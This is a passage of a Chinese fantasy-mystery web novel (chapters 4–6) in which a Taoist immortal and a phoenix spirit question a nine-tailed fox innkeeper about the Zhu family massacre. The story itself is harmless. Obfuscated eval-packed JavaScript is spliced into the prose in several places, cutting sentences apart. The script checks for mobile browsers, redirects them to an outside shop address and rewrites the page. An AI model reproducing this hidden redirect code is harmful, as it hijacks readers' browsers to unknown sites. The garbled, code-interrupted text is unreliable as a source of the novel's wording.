“准备两间上房,今晚我们要住在这里。” 那伙计不疑有他,他早觉得那朱府出事后根本没法住人,因此拿了银子便去安排阁子了。 4. 第 4 章 由于唐亦景是修仙之人,因此对每一道菜都是适可而止,品尝一点即可。但晴朝却没有这些讲究,对着一桌菜大快朵颐,尤其是那道决明兜子最是喜欢。朱妙仪看到晴朝吃得尽兴,心中也很是欢喜。 用饭完毕三人起身,懂事的伙计立刻走了过来为三人引路。 “三位客官放心,这两间阁子乃是我们浔阳楼最好的客房之一,绝不会让您们三位失望的。” 两间阁子并排着,是二楼拐角处的位置。伙计带着他们到了门口便准备离开,唐亦景与晴朝对视一眼,出声唤住了这个伙计。 “还有最后一件事要麻烦你。”说着话,唐亦景又从怀中掏出一块银锭,那伙计的眼睛立刻又睁大了一圈,“一会让你家掌柜的来我阁子一趟,关于朱家的情况我还有一些问题想要询问他。” “这……”那伙计破天荒地迟疑了,甚至对那银锭的渴望都消退了不少。“客官,我家掌柜的特意吩咐了,决不允许在这里议论朱家之事,刚才那已经是我为您们破例了。” 晴朝一步走到唐亦景与那伙计中间,直接上手将唐亦景手中的银锭抢了过来。 说着话,晴朝将银锭递了过去:“小哥,你就行行好嘛。你放心,只要你愿意帮我们去问一问你家掌柜的,不论他来不来,我们都会把银锭给你的。你若是不信,现在我就可以把银锭给你。” 那伙计早就看到晴朝这个身着赤色衣裙容貌惊艳的美人了,只是碍于刚才唐亦景一脸威仪地坐在美人身边,因此只敢偷瞥几眼。现在美人突然站到他跟前,眼看着美人的嘴巴一开一合,其实根本没有听清楚对方在说什么,只是痴笑着伸过手去。 晴朝露出一个笑容,伴随着脑袋的微微晃动,额间的羽毛图案仿佛脱离了皮肤,真的在空中缓缓摆动。看那伙计将手伸过来,晴朝也伸出手,将那银锭放到那伙计手中。 只是手指在松开银锭的时候,装作无意地蹭了一下他手心的皮肤。 “您放心,我这就去问我们掌柜的。” 看着伙计一溜烟跑下楼的背影,唐亦景无奈地叹了口气。回过头,正好看到晴朝一脸得意的笑容以及朱妙仪一脸茫然的表情。 “看来我虽然七百年未出山,但魅力依旧不减当年嘛。”晴朝冲着唐亦景眨了下眼睛,“怎么样唐大人,知道我的厉害了吧?” 唐亦景的拂尘在空中一挥,阁子门自动打开。他偏过头看着晴朝,声音不疾不徐。 “你放心,等下次见面的时候我一定记得告诉他,你出生的时候商纣王还在位呢。” 说完,阁子门“吱呀”关上了。 “你!”晴朝看着紧闭的房门,最终只能对着空气挠了两下。“狗东西,不过就是嫉妒老娘貌美,偏偏还不肯承认。” 回过头,晴朝看见朱妙仪一脸诧异地看着自己。 “怎么了?你不相信唐亦景是嫉妒我好看?” 朱妙仪默默咽了口吐沫,“雀儿姐姐,你真的见过商纣王吗?” 晴朝“噗嗤”一声笑出来,拉着朱妙仪走进了阁子。 此时已经过了戌时,但却是浔阳楼最忙碌的时候。楼下三人坐过的位置已经立刻坐上了新的客人,伙计们穿梭在客人中间,端茶倒水忙得几乎是脚不沾地。而后厨内火光四溅,伴随着油温升高后发出的嘶嘶声,一道道佳肴正在紧锣密鼓地烹制当中。 但就在与这些一墙之隔的一个小阁子内,氛围却与外面的快节奏截然相反。 那伙计将银锭往怀内使劲塞了塞,这才敢敲响了那间阁子的门。 “进。”一道明媚的女声从房内响起。 伙计从打开的一条门缝中挤了进去,之后立刻转身将房门紧闭。 回过身,果然看见那女子一脸戒备地看着他。并且直到他让开身子确认房门关好后,脸上的神情才放松下来。 “不错,千万别让外头的饭菜味飘进来,我闻着头疼。”女子点点头,将手中的黑子放回到了棋笥中。 伙计这才发觉那女子正在拆棋,面前的围棋盘上黑白子摆放错落有致,俨然是一局激烈的厮杀。 “小的该打,没想到掌柜的正在拆棋,真是打扰掌柜的了。” 那女子端过茶盏,用茶盖将茶中浮沫刮去。 “得了阿顺,我招你这张嘴进来是为了哄客人高兴,不是叫你哄我高兴的。”女子的眼神中透着漫不经心,“现在是店里最忙碌的时候,有事快说,没事就赶紧滚出去干活。” “好来好来。”阿顺忙不迭地走到女子面前,“掌柜的,这件事就是前头的客人托我来问您的。” 女子抬起眼眸,示意阿顺说下去。 “外头有个客人想找您问一问朱家的事情。” “朱家?”女子猛地将手中茶杯放回桌上,茶盏与桌面发出了一声沉闷的撞击声。“我已经说过了,咱们楼内决不允许再讨论朱家发生的事情。阿顺,我看你是不是不想干了?” “掌柜的冤枉啊!”阿顺赶紧将事先准备好银锭从袖中拿了出来,双手呈到女子眼前。“小的知道掌柜有言在先,可那伙人出手实在是阔绰,其中一位还是朱家唯一逃过此劫的朱二娘子。小的害怕那些人有些背景,会给咱们浔阳楼惹来麻烦啊。” 在看到那锭银子的份量后,那女子缓缓呼出一口气,将银锭接过去拿在了手里。 “是一伙什么人?” “两女一男,那男的穿着有些奇怪,看起来像个道士。” “道士……”女子皱了皱眉头,“道士来凑什么热闹?” 阿顺的声音低了一些,“掌柜的,小的听说那朱家的朱二娘子可是有一门在京城的婚事呢,那可是天子脚底下,难保不会认识什么世外高人。” 女子的眸子暗了暗,在转瞬之间已经拿定了主意。“他们住在哪?” “二楼四号和五号两间。” “你去跟客人说,现在下头忙不过来,我必须等到亥时过后才能过去。”女子手轻轻一抛,那银锭又稳稳地落回了阿顺手中。“自己收着吧,这是客人赏你的。” “多谢掌柜的!”阿顺收好银锭,千恩万谢地走了出去。 房门依旧被飞速闭合,但还是有一丝辛辣的味道调皮地从门缝中窜了进来,扩散到了这间阁子内。 女子叹了口气,赶紧用手帕掩住口鼻,起身将摆放在一旁的香炉点燃,这香炉内放置的是由苹果制作而成的林檎香。 不一会,一股甜香味从香炉中散发了出来。而女子的眉头也终于松动下来,缓缓放下了手帕。 待月亮挂上最高的树枝,无妖县也逐渐变得安静下来。浔阳楼送走了最后一批客人,重新回到了安静当中。 掌柜终于将房门打开,却仍然用手帕轻轻掩住口鼻。扫视了一眼空无一人的大堂,她提起裙摆走上了二楼。 五号阁已经灭了蜡烛,掌柜取下手帕,轻轻敲了敲四号阁的房门。 “客官?” 里头静悄悄的,半点声音都没有。 掌柜又敲了敲门,声音也放大了一些,但里头却还是一丝回应都没有传来。 迟疑了半晌,掌柜还是选择伸出手推了推紧闭的木门,出乎意料的是那木门却好像被什么东西顶住了,虽然能够打开,却只能打开一条窄窄的门缝。 而等到掌柜透过门缝定睛一看,却看到一个白色的身影倒在血泊当中。 掌柜心内一惊,手掌瞬间施力推开了房门,一步迈了进去。 但就在她踏进房门的瞬间,房内的一切摆设,连带着地上的尸体与血迹都消失不见。四周被一片虚妄的洁白替代,她抬起头,看见一个身着青灰色道袍的男子正站在不远处。 “你是谁?” “这话应该由我来问你吧?”唐亦景眼眸低垂,静静地看着眼前这个女人,“浔阳楼到底是怎么开的?无忧酿又是谁教你酿制的?掌柜的,我看你身上有很多谜团啊。” “我知道你能做出此等幻境说明法术高强,”掌柜抬起头,不愿在气势上败下阵来,“但既然你我都是私自逃来人界的,不如井水不犯河水。你不要管我的事,我也绝不会将你的行踪告知他人。” “行踪?什么行踪?”唐亦景反问。“我行得正坐得直,怎么会有人调查我的行踪呢?倒是你,在此处开了个这么大的酒楼,你就不怕会有人发现你的秘密吗?” “大胆!”掌柜沉声怒喝,“你在无妖县犯了这么大的案子,无妖河接引必定会前来寻你。有跟我在这说话的工夫,我劝你还是早点逃命去吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241754|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 唐亦景目光悠悠,声音也如同寒窖般冰凉,“那你怎么知道这无妖河接引就不会来找你呢?” 女子一愣,却立刻明白了眼前站着的男人究竟是谁。下一霎女子纵身向前一扑,瞬间变化成为一头雪白毛发的白狐,张着嘴向唐亦景咬了过来。 唐亦景侧身躲开,却见那女子并不恋战,而是向着唐亦景身后的方向逃窜而去。 “她竟然知道破界的关键在哪里。”唐亦景眉头一皱,抬手便将拂尘丢了出去。 九尾狐正用尽全力奔跑着,听到一道破空之声向自己驶来,赶紧就势一滚避开了拂尘的攻击。但拂尘并没有飞回,而是再一次调转方向,径直向九尾狐刺了过来。 伴随着一声凄厉的狐叫,尘尾再次幻化成千万条细长的丝线,将那九尾狐牢牢地困在了其中。 唐亦景走到九尾狐面前伸手一挥,幻境飞速消散,周围的家具摆设逐渐变得清晰,连带着两道人影一同出现在了九尾狐眼前。 唐亦景的拂尘又回到了手中,而九尾狐此时也变回了女子的样子,只是身上还被白色丝线紧紧捆绑着,半分动弹不得。 晴朝凑上前仔细打量着女子,鼻子还不时发出嗅闻的声音。 掌柜有些愠怒,“你是什么东西,居然敢这样看我?” “还真是只九尾狐。”晴朝瘪瘪嘴,抬头看向唐亦景,“只是不知道为什么,她的八条尾巴已经都断掉了。” “怪不得她会知道破解我幻境的办法,九尾狐妖血有致幻的功效,他们本来就是使用幻术的行家。”唐亦景的眼睛自始至终都落在这只狐妖身上,“要练成九条尾巴至少需要三千年,她是只大妖。” 朱妙仪从晴朝的身后冒出了个脑袋,轻声询问道:“雀儿姐姐,你刚才说她失去了八条尾巴,那不就意味着她失去了长生不老的能力吗?” “你知道得还挺多,”晴朝点头,看向狐妖的眼神中透露着惋惜,“现在的她虽说依然神通广大,但却逃不脱生老病死的轮回,即便活得再久也终有一死,真是可惜了。” “你懂什么!”狐妖怒喝道。 眼见着挣扎不脱,狐妖最终选择了放弃,只是恶狠狠地看向唐亦景:“要杀要剐,随你便吧。” 唐亦景撇了撇嘴,选了张凳子坐下。 “我现在还不杀你,是因为我想知道究竟是谁害了朱家。而且我可以确定,你这里有我想知道的信息。” 狐妖一愣,立刻别过头去说道:“我听不懂你在说什么。” “我看你是在人界待久了,已经忘记我拥有什么样的能力了。”唐亦景抬起右手,伴随着他的拳头缓缓握紧,地上的白狐忽然痛苦地蜷缩成一团。 “你别以为等待你的只有一死,现在你的命在我手里,而我有许多种方法让你求生不得、求死不能。” 白狐的眼眶中已经含了泪水,呼吸也变得粗重,但却还是梗着脖子说道:“唐亦景,你这个卑鄙小人。仙界不过是拿你当一颗棋子,你却如此认真给他们卖命,最后只能落得人妖仙三界都不容的下场……啊!” 朱妙仪还没回过神来,只见晴朝已经一个箭步冲了上去,对着白狐的腹部便是一脚。 “你再胡说一句,我就抓花你的脸!” “你!”白狐又挣扎了一下,丝线却是纹丝未动。 朱妙仪并不明白这句话背后隐藏的含义,只是隐约感觉到这句话对于唐亦景来说应当是一句很恶毒的诅咒。她顿了顿,却还是选择走过去,站到了唐亦景的背后。 “亦景哥哥。” 唐亦景呼出很长一口气才将自己的内心平复下来,安慰般地看了朱妙仪一眼,他站起身。 “晴朝,不必理她。”唐亦景的手已经举起,“狐妖,你隐瞒实情与杀人者同罪,即便是依照人界的律例我也应当处死你。” 狐妖的身体因为疼痛而不断颤抖,却还在咬着牙坚持。 唐亦景的眸子中已经露了杀意,“既然如此,我只能送你上路了。” “且慢!” 晴朝回过头,却见朱妙仪站到了唐亦景与狐妖之间,阻止住了唐亦景的动作。 “我还有几句话,要同这只狐妖说。” 唐亦景没说话,只是缓缓放下了手。 5. 第 5 章 “我叫朱妙仪,也就是你们口中所说的那个唯一逃过这一劫的朱家后人。”朱妙仪走到狐妖面前,很认真地看着她。 狐妖因为刚才的疼痛剧烈喘息着,低声询问道:“你究竟想说什么?” “我只是想知道,你难道不想杀了我吗?” 狐妖一愣,接着抬头瞥了朱妙仪一眼。 “瞧着还算好看,只可惜是个疯子。” 晴朝又给了狐妖一脚。 朱妙仪式并不在意狐妖的讽刺,“你既然宁愿丧命也要包庇贼人,至少说明你觉得贼人所为之事乃是对的。” 狐妖终于愿意抬头认真看着朱妙仪的脸。 “我只想知道我朱家究竟做过什么伤天害理的事情,要在你心里被判处这么严重的刑法。”朱妙仪神色认真,“如果你的理由真的能够说服我,我愿意将这条命交给你,让你在死前完成心愿。” 晴朝先一步走到朱妙仪身边,轻声说道:“傻孩子,她是妖,你朱家负责捉妖,天生便是势不两立的。” 唐亦景附和道:“妙仪,就算你朱家曾经伤害过她,也是因为她擅自逃窜至人界有错在先,绝非是你家的过错。” “胡说八道!” 一时间,三人的视线都被躺在地上的狐妖吸引过去。 那狐妖一双眸子忽然变得无比狠戾,直直地看向朱妙仪。 “朱二娘子,你朱家欠的那条命并非是我的命,甚至并非是一只妖的命,而是一个人,一条如你们一般活生生的人命!” 即便时隔三百年,再提起那段记忆时,狐妖仍然忍不住红了眼眶。 “三百年前我自妖界逃到人界,虽然侥幸捡回一条命,但却被无妖河的河水灼伤,来到人界后连化形成人的能力都没有便昏死了过去。等我再次醒来的时候,才发现是一个男人救了我。他是无妖县周边山上居住的樵夫,以为我被猛兽所伤,将我带回家照顾。” 狐妖的眼前又浮现出了那个男人的样貌,他长得并不英俊,但心地却很是善良。 晴朝瞥了狐妖一眼,语气很是不善。“你是被无妖河水所伤,别说这男人只是个樵夫,即便他是华佗在世也救不了你。” “但他从山上为我找到一种古书上记载过的草药,那种草药能够助我恢复法力。”狐妖几乎是一字一顿咬着牙说道:“我是九尾妖狐,那无妖河就算能伤我,却不足以杀死我。” 晴朝点头,她曾经也有过在无妖河两岸自由穿梭的能力,因此知道这狐妖所说的并非虚言。 “后来我身体恢复,他便将我放归至山林之中。但在那段朝夕相处之中,我已经爱上了他,所以决定幻化成人形回到他的身边。”狐妖眼眸低垂,“后来他爱上了我,我与他便正式结为了夫妻。” 朱妙仪嘴唇动了动,却没有发出声音。 “我们在山中度过了很幸福的一段时光,我本以为阻隔在我们二人中间的只有寿数不同,却没想到他竟然在下山卖柴火的时候遇见了朱家的人。” 狐妖面露凶光,看向了目前在场的唯一一个朱家后人。 “他们看出官人身上带有妖气,便跟踪官人到了我们家中见到了我。”狐妖的语调中已经带了哽咽,“我本以为他们只是想杀我,却没想到他们竟然先一步将我是狐妖的事情告知了官人!那日瓢泼大雨,山路陡峭,官人被他们的话吓得落荒而逃,竟致跌落山崖!” 一滴眼泪从狐妖的眼角流出,落在了地面上。 “我可怜的官人,当场就丢了性命。” 朱妙仪缓缓抬起手放在胸前,手掌下意识地攥成拳头,任尖尖的指甲扎入手心的软肉当中。 “朱家人没想到会害死我官人,前去崖下寻我官人的尸体,而我趁机逃了出去。”狐妖一双含泪的眸子看向朱妙仪,眸中是满满的怨恨,“你说,你们朱家是不是全都该死!全部都该死!” “狐妖,你少血口喷人。”晴朝将朱妙仪挡在了身后。“你私自逃窜到人界,违背天理与人族相恋,这已经是重罪!最后你竟然还敢将整件事怪罪到朱家头上?我看你才是实心疯了。” “更何况,你怎么知道你官人乃是被朱家所害致使坠落山崖的?”唐亦景也走了过来,“你刚才已自行坦白,那樵夫与你结为夫妻并非是两情相悦,而是因为你用了狐族的妖术!” “不是的!”狐妖尖叫着否认,“我官人是真的爱我!” “九尾狐妖血可以致幻,而狐妖又最擅长制造幻境。”唐亦景的话一字一顿,“朱家人之所以能够看出那樵夫身上带着妖气,并非是因为他与你朝夕相处,而是因为你一直在让他喝你的血!” “不!不是这样的!” 晴朝突然发出一声嗤笑,“我就说,那樵夫怎么会这么巧便喜欢上了化为人形的你,却又在得知真相后被吓得落荒而逃。你利用妖血让他致幻,便能够让他将你看做是他此生最爱。朱家人将真相告知他其实是等于破了你的幻术,突然发现自己跟一个根本就不认识的女人在一起生活多年,也难怪那樵夫会在清醒过后吓得落荒而逃了。” “不!不是的!”那狐妖的尖叫逐渐变成了悲鸣,像是在通过这种方式做最后无谓的挣扎。“官人……官人他是爱我的……他一定是爱我的……” 晴朝长长叹了一口气,“狐族大多法力高强,但在妖界却始终不成气候,便是因为你们狐族即便能修炼出九条尾巴,却终究逃不脱一个情字的桎梏。” 那狐妖忽然发出一声冷笑,“你还好意思说我?我想起你是谁了,七百年前你为了这个男人把三魂七魄都散掉了,如今只能撑着这具残躯苟活。我至少得到过我爱的人,但是你呢,你最终什么都得不到!” “闭嘴!”唐亦景的拂尘忽然出手,结结实实给了那狐妖一个巴掌。 “也就只有你们狐族会觉得我做那些只是为了唐亦景,”晴朝走到狐妖跟前,居高临下地看着她,“我是喜欢过唐亦景没错,但七百年前让我心甘情愿散掉三魂七魄也要守护的,是员峤山,是我无数的族人,是整个妖界!即便是我死了,作为朱雀族族长,那也是我应当做的。” 唐亦景虽未用全力,但那一下也伤了狐妖的根本,逼得她吐出一口血来。 “你们杀了我吧!杀了我,你们就再也别想知道害死朱家满门的凶手是谁了!” “其实你也不知道凶手是谁吧?” 狐妖怔住,看向突然开口的朱妙仪。 朱妙仪此时已经放下了手,“我虽然不知道你是怎么逃脱掉朱家追捕的,但我可以确定这应当与你的八条尾巴都断掉有关。” 晴朝恍然大悟,“怪不得这无忧酿与我在妖界喝到的味道相差无几,却没有醉生梦死的功效。狐妖可以用法术酿出最香醇的美酒,但她自己断掉八尾没了长生不老之术,她的血也就不能再制造幻觉了。” “狐妖尾巴的增加不仅会提升他们的寿数和法力,同时也会使他们身上的妖气愈发浓重。”唐亦景眯起眼睛,“所以说她狠心断掉了自己的八条尾巴,借此藏匿住了自己的妖气,才能够躲避开朱家的追捕,在朱家的眼皮子底下生活了三百年。” 朱妙仪看向唐亦景,“她连断尾求生这种事都能做得出来,便必然有要留在此地的缘由。既然她这么想留在无妖县,怎么会在三百年后突然发难要致我朱家于死地呢?” “不!不是这样!”狐妖忽然颤抖起来,“你们都想错了,都想错了!” “你只是闻到了妖气,并且选择了隐瞒。”朱妙仪再次看向狐妖,“你根本就不知道凶手是谁,也不知道凶手为什么要杀朱家人,对不对?” 狐妖嘴唇颤抖着,却没有说话。 “你肯定还有事情没有完成,所以你才宁愿失去长生也要留在无妖县。”朱妙仪的声音仿佛带有某种蛊惑,“你既然与凶手并非同伙,为什么要为了他而放弃自己坚守多年尚未达成的心愿呢?” 眼见狐妖有些动摇,唐亦景立刻开口说道:“如果你愿意将你知道的事情都告诉我们,我可以考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241755|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虑允许你留在此处,直到你完成心愿。” 听了这话,狐妖扭头看向唐亦景,一双向上微微挑起的眸子死死地盯着唐亦景,像是在确认他此话的真伪。 房间忽然一片寂静,三人都看着伏在地上的狐妖,而狐妖在看着唐亦景。 终于,狐妖开口了。 “我找到了他的转世……” 晴朝皱眉,“可是你已经不是九尾妖狐了,你怎么敢确定他就一定能爱上你呢?” “我不敢确定,我知道我的血已经没用了。这一世我只想看看他,看看他能不能和爱的人走到一起,看看他能不能过上我曾经想给他的那种幸福生活……”狐妖的声音变得微不可闻,“如果你们能够同意让我留在这里看到他成婚,我就愿意将我所知道的一切都告诉你们。” 唐亦景看向朱妙仪,而朱妙仪只是别过头,轻轻挥了挥手。 下一霎,唐亦景松开了捆绑住狐妖的丝线。 “说罢。” “我确实早在一月之前就隐约感觉到无妖县有妖气,但我并不知道妖气的来源。”狐妖撑着地面站起身,将自己嘴角残留的鲜血擦干净,“我虽然通过断尾的方式隐瞒了自己的气味,但为了躲避朱家,我几乎每日都将自己关在浔阳楼内。” 唐亦景出声问道:“那你怎么知道这妖就一定是冲着朱家来的呢?” “六月初一当晚,浔阳楼忽然来了一位客人,他身上披着一件黑色的斗篷,说要订一桌酒席,让我于六月十六中午送到朱家。” 晴朝有些疑惑,“可你家伙计不是说浔阳楼不接中午的席面吗?你怎么不拒绝他?” “按道理来说是不接的,但那人给的并不是订银,而是直接付了全部的钱。”狐妖瞥了晴朝一眼,“除此之外,还有一个让我无法拒绝的理由。” 狐妖看向唐亦景,“我闻到了妖气。” “你说什么?”唐亦景三步并作两步走到狐妖跟前,“我告诉你,你要是敢有半句谎言,我一定会立刻杀了你。” “我敢以我三千年的道行起誓,我确实闻到了妖气。”狐妖说话的语气很平稳,不像是撒谎的样子。 晴朝的眉头缓缓皱起来,抬眸与唐亦景隔空相望,“也就是说,不是朱家的人来订的酒席,而是……凶手来的。” 朱妙仪忽然感觉到双腿一软,连忙扶住身边的花几才勉强没有倒下。 晴朝急忙走过去握住朱妙仪的胳膊,又搬了把圆凳让她坐下。 “你还好吗?”晴朝有些担心地看着朱妙仪,“要不然你先回去休息吧,我和唐亦景会处理好这里的事情。” 朱妙仪捂住胸口,她能感受到胸膛中的心脏正在剧烈跳动。她曾想过订酒席一事有些蹊跷,但却没想到订酒席的竟有可能是凶手本人。 “我没事,”朱妙仪轻轻咳嗽了两声,再次抬头看向狐妖,“你继续说吧。” 狐妖抬眸,眼前这个小姑娘瞧上去不过二八年华,由于尚在孝期穿着一身素白的衣裙,衬得肩膀更加瘦削单薄。 但与外表不同的是,这小姑娘一双水灵灵的眼睛一眨不眨地看着自己,眼眸中没有一丝雾气,仿佛能从中直接看到她内心的险峻高山与汪洋大海。 “我并不知道那妖为什么要订这桌酒席,也不确定他为何要选择浔阳楼,更害怕他会对我的身份产生怀疑。我在无妖县苟且偷生三百年,好不容易找到了官人的转世,我实在不愿意多生事端,所以选择了答应。” 狐妖缓缓吐出一口气,抬起头强迫自己与朱妙仪对视。 “我没想到他竟然出手如此狠毒,朱二娘子,我真的没想到……” 朱妙仪缓缓站起身,但一步都没迈出去便倒了下去。还好晴朝眼疾手快抓住了她,赶紧将她揽在怀里。 朱妙仪的嘴唇有些发白,说话也变得有气无力,“雀儿姐姐,我有些累了。” “好,咱们这就回去休息。”说完,晴朝抬头看了一眼唐亦景,自己抱起朱妙仪回了阁子。 6. 第 6 章 待朱妙仪和晴朝走后,唐亦景看着眼前的狐妖,开口说道:“你帮助了我们,我也会按照刚才说过的允许你在此地逗留,直到了却心愿。” 狐妖松了口气,叉手行礼道:“多谢接引大人。您放心,一旦我看到官人成亲,便会立刻返回妖界。” “我相信你,因为我知道你已经走不远了。”唐亦景手中的拂尘在空中一晃,狐妖的背后便突然露出了她尾巴的虚影,只是除了仅剩的一条尾巴外,其余的八条尾巴都只剩下了尾巴根。 “断尾之痛对于狐妖来说应当是极难以忍受才对,你撑了三百年,已经很厉害了。” 狐妖同样看到了自己的尾巴,但与唐亦景脸上的惋惜不同,她的脸上并无半分后悔之意。 “狐妖一生只会有一个爱人,我得到过便已足够,此生都无憾了。”狐妖笑了笑,“接引大人,或许这话在您听来不过是一句蠢话,但对于我来说却是发自肺腑的。” 唐亦景一愣。 不知怎么的,他的脑海中忽然浮现出晴朝的样子,他好像又看到了七百年前陪自己站在锁妖塔下的那个女孩。 那个女孩看起来明媚张扬,同时也看起来英勇无畏。 唐亦景知道这个女孩喜欢自己,却也知道自己绝不可能给予这份感情任何一丝回报。 但那时的他却没有想到,这个仿佛永远也赶不走的女孩会在某一日突然离开自己,并且一去便是七百年。 回过神,唐亦景回答道:“我并不觉得这是蠢话。” 狐妖看着唐亦景,从唐亦景的眼神中,她已经瞧出对方是在说谎,但她却并不想戳穿对方的谎言。 “大人,您是幸运的,因为只有被爱的人才体会不到爱的痛苦。”说完,狐妖叉手行礼,“您早些休息吧。” 五号阁中,晴朝正坐在床边,右手搭在朱妙仪身上,有一下没一下地轻轻拍抚着对方。 待朱妙仪的呼吸终于变得平稳而缓慢,晴朝为她又掖了掖被角,之后蹑手蹑脚地打开房门走了出去。 唐亦景已经不知站在房门外多长时间了。 “妙仪怎么样了?” “一开始睡得很不安稳,后来我用了法术,现在已经好些了。”晴朝回身看了一眼房门,声音也压得更低了些,“这孩子,真是受苦了。” “你身子不好,动用法术一定要小心些。” 晴朝转头看向唐亦景,表情看起来有些错愕。唐亦景此时也意识到自己今天多余的话实在说的有些多,略有些尴尬地低下头,别开了眼睛。 “说起来,今日还没有好好地同你寒暄两句呢。”晴朝忽然露出一个笑容,额头上的羽毛在暗影中一闪而过,“唐亦景,好久不见。” “确实。”唐亦景的眸子忽明忽暗,“自你那日不告而别,转眼间已经过去七百年了。” “是啊,七百年原来真的只是弹指一挥间。”晴朝笑了笑,“我就说,不认识你的那一千年说过也就过了,区区七百年罢了,即便不见又能怎样呢?” 唐亦景心内微动,看着晴朝再次道歉。“对不起,我今日不该兴师动众地找你问罪。你刚才说得对,你是为了妖界才变成现在这样的,是我忘记了。” “不,唐亦景,我刚才说的话是骗她的。” 唐亦景一愣,抬起头来却看见晴朝冲他眨了眨眼睛。 “我不是为了妖界,我就是为了你。只可惜我运气不好,不仅没得到我想要的,反而差点将自己的命都搭了进去。” 唐亦景嘴唇翕动,但并未说出什么。 晴朝噗嗤一笑,伸出手在唐亦景的肩膀上拍了拍。 “好了,我说笑话逗你玩的,唐大人可千万别放在心上。” 说完话,晴朝收回了手,接着问道:“这个案子你现在到底是怎么想的,有点头绪了没有?” 异样的情绪在心头一闪而过,唐亦景强迫自己重新将心思放回到朱家的案子上。 “说实话,暂时还没有头绪。”唐亦景实话实说,“现在咱们能掌握到的信息实在是太少了,根本不足以摸清案发当时的情况。” 晴朝点头,“确实,距离案发已经过去三个多月了,衙门的人又将朱家打扫得如此干净。即便是我也只能闻出些许妖气,什么有用的线索都没有发觉。” 唐亦景抬眸看向晴朝,微笑着安慰对方说道:“这案子是我接下的,你肯帮忙我已经很高兴了,你不要有太大的心理负担。” 晴朝瞥了唐亦景一眼,撅起嘴嗔怪道:“我呸,我是为了帮你吗?我是为了帮妙仪妹妹。” 唐亦景笑着点头,假装自己听信了晴朝的狡辩。 “若是能看一看朱家人的尸体便好了。”唐亦景转过脸看向窗外茫茫的夜色,“只可惜尸体现在应该都在县衙当中,以咱们的身份实在没有前去查看的理由。” 晴朝忍不住笑出声,“我都差点忘了,在妖界杀伐决断的接引大人到了无妖河南岸,也不过是个无名小卒罢了。” 唐亦景无奈地看了晴朝一眼,任由对方肆无忌惮地嘲笑自己。 “可惜你不能动用法术。”晴朝终于笑够了,“不过你做这事是为着伸张正义,又不是偷鸡摸狗,难道也会触犯天条吗?” 唐亦景没有说话。 如同刚才狐妖所说,他虽为无妖河接引,在妖界拥有生杀予夺的权力,但仍然要受到仙界的约束。天条规定不可用法术做坏事,否则便会招来天罚。 潜入县衙查看尸体虽说确实是为着探案,但再怎么说这也算是私闯公堂,而仙界的人一贯是不问缘由只看结果的。 “罢了,总能想到办法的。”晴朝见唐亦景不说话,便猜到这条路应该是走不通,“实在不行我用法术替你去趟县衙,把朱家人的尸体都偷出来!” 唐亦景被晴朝的话逗笑,轻声提醒道:“可别在妙仪跟前这么说,她会伤心的。” 晴朝赶紧看了看房门的方向,心虚地点了点头。 第二天一早,三人一同走下了楼梯。本想着直接离开返回朱家,却没想到狐妖正站在门口等候着他们。 “大人,晴朝姑娘,朱二娘子。”狐妖向他们一一见礼,“我等在此处,是为着感谢你们的成全。” 唐亦景摆手,“不必客气,这是一笔交易。” 狐妖垂眸一笑,“大人放心,我明白这笔交易实则并不公平,我说的那些消息并没有给你们多大的帮助,但你们却是给了一次重生的机会,特别是朱二娘子。” 今日朱妙仪的气色已经恢复了许多,听了这话只是笑着,轻轻摇了摇头。 狐妖忍不住走到朱妙仪跟前,拉住了她的手。 “朱二娘子,如果你不嫌弃可以唤我瑾娘。从今往后浔阳楼的大门永远为你敞开,并且我保证,一旦我能在此处得到任何消息都会第一时间告知你们。”瑾娘眉间轻蹙,仔细地看着朱妙仪。她知道在这小姑娘面前等待她的,恐怕是一条并不太顺遂的道路。 “我这一生算是为执念所累,所以我想让你早日知道真相。” 朱妙仪用另一只手回握住瑾娘的手,“多谢你,瑾娘。” 待到道别之时,瑾娘命阿顺给朱妙仪准备了两包点心,并且千叮咛万嘱咐要朱妙仪千万别饿着肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241756|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 回朱府的路上,朱妙仪与晴朝一人手中拿着一块芙蓉饼,细嚼慢咽地品尝着。 “你说这瑾娘怎么只嘱咐妙仪一个人别饿着呢?” 唐亦景瞥了一眼晴朝吃得手指油光锃亮的样子,摇了摇头。 “也许是因为咱俩即便不吃饭,也不会怎么样。” 晴朝这才想到朱妙仪是人族,不吃饭是真的会饿死。但对于她来说,只是为着嘴馋。 想到这,晴朝讪讪地放下了第二块芙蓉饼。 朱妙仪赶紧将芙蓉饼笑着塞到晴朝的手里,“好了雀儿姐姐,这两大包怎么着都够咱们吃的。再说我们朱家还是有些积蓄的,不至于让我沦落到饿死的地步。” 